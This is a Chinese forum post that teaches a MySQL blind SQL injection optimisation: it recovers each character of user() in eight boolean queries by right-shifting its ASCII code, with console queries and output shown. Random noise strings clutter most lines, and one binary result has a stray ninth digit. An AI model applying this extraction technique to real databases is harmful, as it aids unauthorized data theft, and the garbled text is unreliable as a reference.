找回密码
 立即注册
查看: 2464|回复: 0
打印 上一主题 下一主题

关于通过对8bit的ascii做右位移提高mysql盲注效率

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:25:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位9 D" H: }# E. L. h7 r! M
: U0 R% x) g: ]

& D8 C+ ?) f6 a# j0 v9 S, M9 x. \4 D% i) {2 a! X; _
下面将以查询mysql数据库当中user()的第一位为例:, C/ d2 \4 E9 [, Z
7 D$ g# K/ Y" R1 x; b# h9 k9 \/ M

- E: B; n* o4 h) T
. ]/ E6 f5 C, @% U+ kps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)6 d' e& j( l" K
- U& ~# E6 e8 \$ u

9 r: l) x8 Q8 k& F4 a. h
/ \" s& n& J7 [( ^( _2 y8 l7 M1 C9 F首先执行如下sql语句:+ |* h, z& U- v
2 q) O8 k9 n7 c2 a
1 d9 |! a( Y- H# t, o, [0 J- A
! q: r8 b& v( e) C/ ^
mysql> select (ascii((substr(user(),1,1))) >> 7)=0;! y7 ?  R2 u% y4 H# ~4 ]0 m4 Q, c
  m! s$ Q* D0 z8 E' @. P
  C; B  T' V( z( U' i
6 B3 l; y' P# f+ y9 u
我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的
& g1 h& {/ K4 S/ |+ k1 X
8 v+ y8 t7 c6 H. n( O8 b7 ~ . C  o2 z" O1 ]  e/ f# R; V& n' j4 w
. ~0 y8 K: g' {  T8 q3 q% Q3 }
第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为19 D+ l4 |, H1 Y4 q
# v8 a. t1 E" b/ H
/ @, |7 X& ~, k& u* Q

* N: L" W% {1 `" W) S如果运算结果为1,说明第一位为0,不为1
7 _. g) s. R* M  E
1 n7 t9 x& h- C, \: ]" v. T8 c" Q3 l
8 v. p7 b8 g0 Z4 |1 E  Z  T" S8 A* Y; `1 H2 R* f6 \
+————————————–+
2 m+ U( o, w$ I# j5 |! K+ \3 G4 o% k
| (ascii((substr(user(),1,1))) >> 7)=0 |
, Y6 ?3 [% F1 O' n, @+ n7 }! B" Q5 Y. @. [
+————————————–+6 c& j) U. P; P

  v% S6 a; d; j| 1 |( k3 W4 Q+ s. @4 ^3 ^$ `, y4 {' G
' n6 u# @( v$ z9 R: r% t  y' U
+————————————–+8 q+ G1 u3 |% h" r+ O

! ~" Z; {( c; f. S  ^! T% o1 row in set (0.00 sec)
- k% K" C# [7 L' I0 e$ v* b
1 A: c& @& b# J+ h+ B, r# i4 k1 R1 X这样我们就确定这个8bit的ascii的第一位为0
* z/ V; e' u8 y+ R0 W: z! _* s+ m: I( Z# D+ k1 W) r# ~9 T
; A4 x5 n; R1 G* Y3 d( i7 w
' K. h7 Q+ P; U/ n) T1 A% U
第二次我们来做6次右偏移来确定前两位
5 H1 `' ~" S9 z9 M2 b4 J2 X
0 X. \) ]. C9 A/ F
/ M. D5 M0 m9 T" \+ U* b4 L6 ]8 c5 E0 f" `& v; @+ n! ?! Z+ Q
前两位可能是01或00,即依然可以与0做比较,9 H, D- \1 d: n3 R2 U4 D7 E% e

0 d' {! ~/ N2 r6 [mysql> select (ascii((substr(user(),1,1))) >> 6)=0;) M* d  d3 Z4 z# n
" \2 ]% C- M' @6 ]' z) a
+————————————–+% K% X3 w, G: R# \' r
  u: M$ D2 [! P8 F
| (ascii((substr(user(),1,1))) >> 6)=0 |
* k* @5 \/ P3 t/ ?9 L1 j7 {
2 Q  N4 O1 d. |/ ~* u+————————————–+/ a0 U5 k8 H. N8 P# S7 @

! B! R+ [" G8 Y+ v| 0 |2 v9 F* W3 [6 s

* m4 e7 v: D( [" G' u+————————————–+0 B, g( ]4 R( m/ l8 B0 o# N
4 r3 N! T2 T- b) e# ^# @6 s
1 row in set (0.00 sec)2 x5 W) F& U6 X2 n" D! A7 [$ T

. |- K3 A1 ?: t% s6 ]/ @
% Y4 O- T; d) x1 ]9 u4 E$ L: Z/ s) Z, e
结果为0,即第二位为1- O4 `( D9 R. _" w7 f" F- O0 ?
" P/ R2 r0 U: O  [

$ p- e6 g; ~& J. A$ r( A
7 W) t' l# A  F' j5 m: d- S3 V开始猜测前三位为010或011
& c$ A/ Y5 C+ `, \5 k2 D
1 g/ A8 {0 S) j2 l5 t7 W
' C$ Q0 D2 ^$ d
( X) [7 w5 y: i" a% }# O让我们看看010和011的ascii码是多少0 J- f9 \( Z" A/ o1 I+ t) Q% S# h
6 u+ l5 ~- M) v, q+ D5 O
0 s0 k" U2 W5 \8 z7 N! t! ~5 x

& e( M3 E+ v. y' c5 ?% U5 C$ ~分别查询select b’011′ select b’010′& B/ r: y% N" l; P' ~# `

( X9 M; W7 Y2 G, _ & \" v4 u" O# }& t9 v% B
# ^. L# G# [2 P6 d6 Y# q  O, t
获得结果 010 = 2 011 = 3
' C8 v' v3 M/ @/ v6 C2 m" `
* ~: _$ @) i- Z; E5 ]6 F
& W  l" M( l0 ]7 ?. W) Y0 D7 X
4 v' q) U7 p6 j8 r& o执行如下sql:
* w0 p1 a1 N% I  N; u# s
* z8 R' i/ e1 {+ K; Q# S
5 s$ R# B& N9 j! z9 |9 Z! {% `( @+ q, ]. r4 M$ K: Q, W8 L. r6 [3 B: m
mysql> select (ascii((substr(user(),1,1))) >> 5)=2;) O. m& s3 L0 ~. s( N* R
, s$ m8 B$ M# R% P; n
+————————————–+9 Y) K) Z6 e+ W& H5 W

8 n4 T( W9 D7 R- ?0 U$ j0 ]$ K, C5 G4 w| (ascii((substr(user(),1,1))) >> 5)=2 |% _, B8 A) q3 d3 a& c: j
8 R$ \% A" s  w5 U2 m& w( S  T
+————————————–+. [- f4 z# \% I9 X
( |$ |( G: K% R
| 0 |
4 u( ^: p8 N7 ^' x. T3 q6 H& A2 M8 J# L; o( L9 v% @" O0 z
+————————————–+* J3 r& L' w! {& [$ J
7 N8 D4 d; x7 ~; j
即前三位不为010,而是011+ [" v+ m' Q7 B* i
1 H1 ?% m. ^# g# H  j
# ]# K9 m/ A3 f) [* m
( p2 B0 ~' V" P4 s/ S$ O" d! b
直到获得最后一位
+ ?5 a1 q8 D' G' ]0 b2 H/ B. T4 r: }( A7 y6 m4 x5 ~
* C7 `) v7 c* j: v' G
* {$ ^3 a: U1 F) e: P' i
最终结果为:011100100 j5 u" @9 N/ A) X4 Z& U. W

+ t! e+ E" {9 {9 S( m! w* R& O
2 N6 {- ^( H$ }- ]3 ~8 K7 _% q2 r+ O$ l
转换一下:
/ l7 T" U2 d5 y
$ T' W( v- m9 P+ P& t+ a/ r0 S5 q/ e& F' J
0 @8 p& r/ J7 D2 i# V+ S7 n
7 v  @0 y0 q+ D- W8 z$ |1 eselect b’01110010′
: I9 {) J1 \4 f( w
) z! R9 m5 o+ a; d! r1 u
+ O  L0 a, I% f' a- d* ~% {$ O# Q8 d9 i5 L
查询结果4 q! ]& m+ C0 o) }, [

8 n4 N5 J, X3 F+ W  i
' H  X) X: K' A# P; J: s# a
/ A& ?* k; I' k4 }" i+————-+
  O. C2 g# f8 s- w6 j$ m, _/ v; F- V9 t5 {3 F
| b’01110010′ |8 \% }: W, E9 ]# R1 o5 \# D

6 B7 z& O; e+ B( u+————-+
* U  X, Y4 Y! y8 L
8 c: R( v  K% e| r |
4 _( H. A2 U6 f2 t# W' b2 A2 K1 |/ s" j
+————-+2 H% z8 `' ]( j' p+ u& b, p

( B+ u6 y1 X$ R1 row in set (0.00 sec)/ Q7 L5 @  u6 q8 i& a; v
1 l0 v& ]9 K4 }, r( O8 {

* b( S6 K7 d) m# q6 F: B. \) P+ o% O; j0 ~1 e$ z4 _! z
这样我们就获得了user()的第一位.其它位依此类推! m$ W' `6 Z/ m- C7 |1 [, w( w$ [1 {
4 d- }( l3 j: ]  N; F+ U/ }* O7 T. z4 p
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表